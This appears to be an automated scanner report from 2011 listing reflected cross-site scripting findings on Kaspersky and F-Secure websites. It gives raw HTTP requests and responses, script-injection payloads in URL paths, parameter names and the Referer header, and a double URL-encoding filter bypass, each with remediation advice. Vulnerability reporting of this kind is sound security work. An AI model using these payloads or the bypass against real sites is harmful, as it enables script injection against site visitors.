GET /sites/usa.kaspersky.comfc447"><script>alert(1)</script>9d610eba500/files/js_injector_55.js?3 HTTP/1.1 Host: usa.kaspersky.com Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.202 Safari/535.1 Accept: */* Referer: http://usa.kaspersky.com/ Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 404 Not Found Server: Apache Cache-Control: public, max-age=21600 Last-Modified: Sun, 23 Oct 2011 16:29:01 +0000 Expires: Sun, 11 Mar 1984 12:00:00 GMT Vary: Cookie,Accept-Encoding ETag: "1319387341" Content-Type: text/html; charset=utf-8 Content-Length: 31000 Date: Sun, 23 Oct 2011 16:29:06 GMT X-Varnish: 1652544927 Age: 0 Via: 1.1 varnish Connection: keep-alive X-Varnish-Cache: MISS
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" dir="ltr" xmlns:og="ht ...[SNIP]... <link rel="canonical" href="http://usa.kaspersky.com/sites/usa.kaspersky.comfc447"><script>alert(1)</script>9d610eba500/files/js_injector_55.js?3" /> ...[SNIP]...
The value of REST URL parameter 3 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 5008a"-alert(1)-"d11620010df was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /sites/usa.kaspersky.com/files5008a"-alert(1)-"d11620010df/js_injector_55.js?3 HTTP/1.1 Host: usa.kaspersky.com Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.202 Safari/535.1 Accept: */* Referer: http://usa.kaspersky.com/ Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 404 Not Found Server: Apache Cache-Control: public, max-age=21600 Last-Modified: Sun, 23 Oct 2011 16:32:38 +0000 Expires: Sun, 11 Mar 1984 12:00:00 GMT Vary: Cookie,Accept-Encoding ETag: "1319387558" Content-Type: text/html; charset=utf-8 Content-Length: 30903 Date: Sun, 23 Oct 2011 16:32:47 GMT X-Varnish: 1652554518 Age: 0 Via: 1.1 varnish Connection: keep-alive X-Varnish-Cache: MISS
The value of REST URL parameter 3 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 4fca2"><script>alert(1)</script>17b8a824108 was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /sites/usa.kaspersky.com/files4fca2"><script>alert(1)</script>17b8a824108/js_injector_55.js?3 HTTP/1.1 Host: usa.kaspersky.com Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.202 Safari/535.1 Accept: */* Referer: http://usa.kaspersky.com/ Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 404 Not Found Server: Apache Cache-Control: public, max-age=21600 Last-Modified: Sun, 23 Oct 2011 16:30:17 +0000 Expires: Sun, 11 Mar 1984 12:00:00 GMT Vary: Cookie,Accept-Encoding ETag: "1319387417" Content-Type: text/html; charset=utf-8 Content-Length: 31000 Date: Sun, 23 Oct 2011 16:30:24 GMT X-Varnish: 1652548871 Age: 0 Via: 1.1 varnish Connection: keep-alive X-Varnish-Cache: MISS
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" dir="ltr" xmlns:og="ht ...[SNIP]... <link rel="canonical" href="http://usa.kaspersky.com/sites/usa.kaspersky.com/files4fca2"><script>alert(1)</script>17b8a824108/js_injector_55.js?3" /> ...[SNIP]...
The value of REST URL parameter 4 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload a734a"-alert(1)-"c56d4663c51 was submitted in the REST URL parameter 4. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /sites/usa.kaspersky.com/files/js_injector_55.jsa734a"-alert(1)-"c56d4663c51?3 HTTP/1.1 Host: usa.kaspersky.com Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.202 Safari/535.1 Accept: */* Referer: http://usa.kaspersky.com/ Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 404 Not Found Server: Apache Cache-Control: public, max-age=21600 Last-Modified: Sun, 23 Oct 2011 16:34:56 +0000 Expires: Sun, 11 Mar 1984 12:00:00 GMT Vary: Cookie,Accept-Encoding ETag: "1319387696" Content-Type: text/html; charset=utf-8 Content-Length: 30903 Date: Sun, 23 Oct 2011 16:35:15 GMT X-Varnish: 1652562352 Age: 0 Via: 1.1 varnish Connection: keep-alive X-Varnish-Cache: MISS
The value of REST URL parameter 4 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 2632f"><script>alert(1)</script>66b2a5d2de9 was submitted in the REST URL parameter 4. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /sites/usa.kaspersky.com/files/js_injector_55.js2632f"><script>alert(1)</script>66b2a5d2de9?3 HTTP/1.1 Host: usa.kaspersky.com Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.202 Safari/535.1 Accept: */* Referer: http://usa.kaspersky.com/ Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 404 Not Found Server: Apache Cache-Control: public, max-age=21600 Last-Modified: Sun, 23 Oct 2011 16:34:31 +0000 Expires: Sun, 11 Mar 1984 12:00:00 GMT Vary: Cookie,Accept-Encoding ETag: "1319387671" Content-Type: text/html; charset=utf-8 Content-Length: 31000 Date: Sun, 23 Oct 2011 16:34:36 GMT X-Varnish: 1652560789 Age: 0 Via: 1.1 varnish Connection: keep-alive X-Varnish-Cache: MISS
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" dir="ltr" xmlns:og="ht ...[SNIP]... <link rel="canonical" href="http://usa.kaspersky.com/sites/usa.kaspersky.com/files/js_injector_55.js2632f"><script>alert(1)</script>66b2a5d2de9?3" /> ...[SNIP]...
The value of REST URL parameter 1 is copied into the HTML document as plain text between tags. The payload 562de<script>alert(1)</script>23d8f12d546 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The value of REST URL parameter 2 is copied into the HTML document as plain text between tags. The payload 1e901<script>alert(1)</script>37bf346d290 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The value of REST URL parameter 3 is copied into the HTML document as plain text between tags. The payload 3ff84<img%20src%3da%20onerror%3dalert(1)>6b7f0b34b86 was submitted in the REST URL parameter 3. This input was echoed as 3ff84<img src=a onerror=alert(1)>6b7f0b34b86 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses an event handler to introduce arbitrary JavaScript into the document.
<h1>CHttpException</h1> <p>The system is unable to find the requested action "autocomplete3ff84<img src=a onerror=alert(1)>6b7f0b34b86".</p>
1.106. http://www.f-secure.com/en/web/home_global/news-info/product-news-offers/view/story/463302/F-Secure%20Internet%20Security%202012%20-%20Complete%20Protection%20for%20Your%20Computer%20and%20Online%20Life [name of an arbitrarily supplied request parameter]previousnext
The name of an arbitrarily supplied request parameter is copied into an HTML comment. The payload 91193-->0fa78608273 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This behaviour demonstrates that it is possible to can close the open HTML comment and return to a plain text context. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
Remediation detail
Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.
HTTP/1.1 200 OK Server: Apache ETag: 3a8dec73 Content-Type: text/html;charset=UTF-8 Content-Length: 65894 Date: Sun, 23 Oct 2011 16:36:23 GMT Connection: close Vary: Accept-Encoding Set-Cookie: country=US; path=/; domain=f-secure.com
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" dir="ltr"> <head> <meta ...[SNIP]... ecure.com/en/web/home_global/news-info/product-news-offers/view/-/story/?p_p_id=articlereading_WAR_weblatestcontent&p_p_lifecycle=2&p_p_cacheability=cacheLevelPage&_articlereading_WAR_weblatestcontent_91193-->0fa78608273=1&_articlereading_WAR_weblatestcontent_articleId=463302";<c:choose> ...[SNIP]...
1.107. http://www.f-secure.com/en/web/home_global/news-info/security-stories/view/story/91771/Parenting%20the%20digital%20natives [name of an arbitrarily supplied request parameter]previousnext
The name of an arbitrarily supplied request parameter is copied into an HTML comment. The payload d08dd-->9a57a6a40cd was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This behaviour demonstrates that it is possible to can close the open HTML comment and return to a plain text context. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
Remediation detail
Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.
HTTP/1.1 200 OK Server: Apache ETag: 8f9a85e7 Content-Type: text/html;charset=UTF-8 Content-Length: 67783 Date: Sun, 23 Oct 2011 16:39:38 GMT Connection: close Vary: Accept-Encoding Set-Cookie: country=US; path=/; domain=f-secure.com
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" dir="ltr"> <head> <meta ...[SNIP]... f-secure.com/en/web/home_global/news-info/security-stories/view/-/story/?p_p_id=articlereading_WAR_weblatestcontent&p_p_lifecycle=2&p_p_cacheability=cacheLevelPage&_articlereading_WAR_weblatestcontent_d08dd-->9a57a6a40cd=1&_articlereading_WAR_weblatestcontent_articleId=91771";<c:choose> ...[SNIP]...
1.108. http://www.f-secure.com/en/web/home_global/news-info/security-stories/view/story/91782/Safer%20online%20shopping [name of an arbitrarily supplied request parameter]previousnext
The name of an arbitrarily supplied request parameter is copied into an HTML comment. The payload 67238-->b40d34bef0d was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This behaviour demonstrates that it is possible to can close the open HTML comment and return to a plain text context. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
Remediation detail
Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.
The value of REST URL parameter 4 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload c125c%253c%252fscript%253e%253cx%2520style%253dx%253aexpression%2528alert%25281%2529%2529%253e22c05e6234 was submitted in the REST URL parameter 4. This input was echoed as c125c</script><x style=x:expression(alert(1))>22c05e6234 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses a dynamically evaluated expression with a style attribute to introduce arbitrary JavaScript into the document. Note that this technique is specific to Internet Explorer, and may not work on other browsers.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context. There is probably no need to perform a second URL-decode of the value of REST URL parameter 4 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
The value of the Referer HTTP header is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 2646c'-alert(1)-'3a10773e75d was submitted in the Referer HTTP header. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.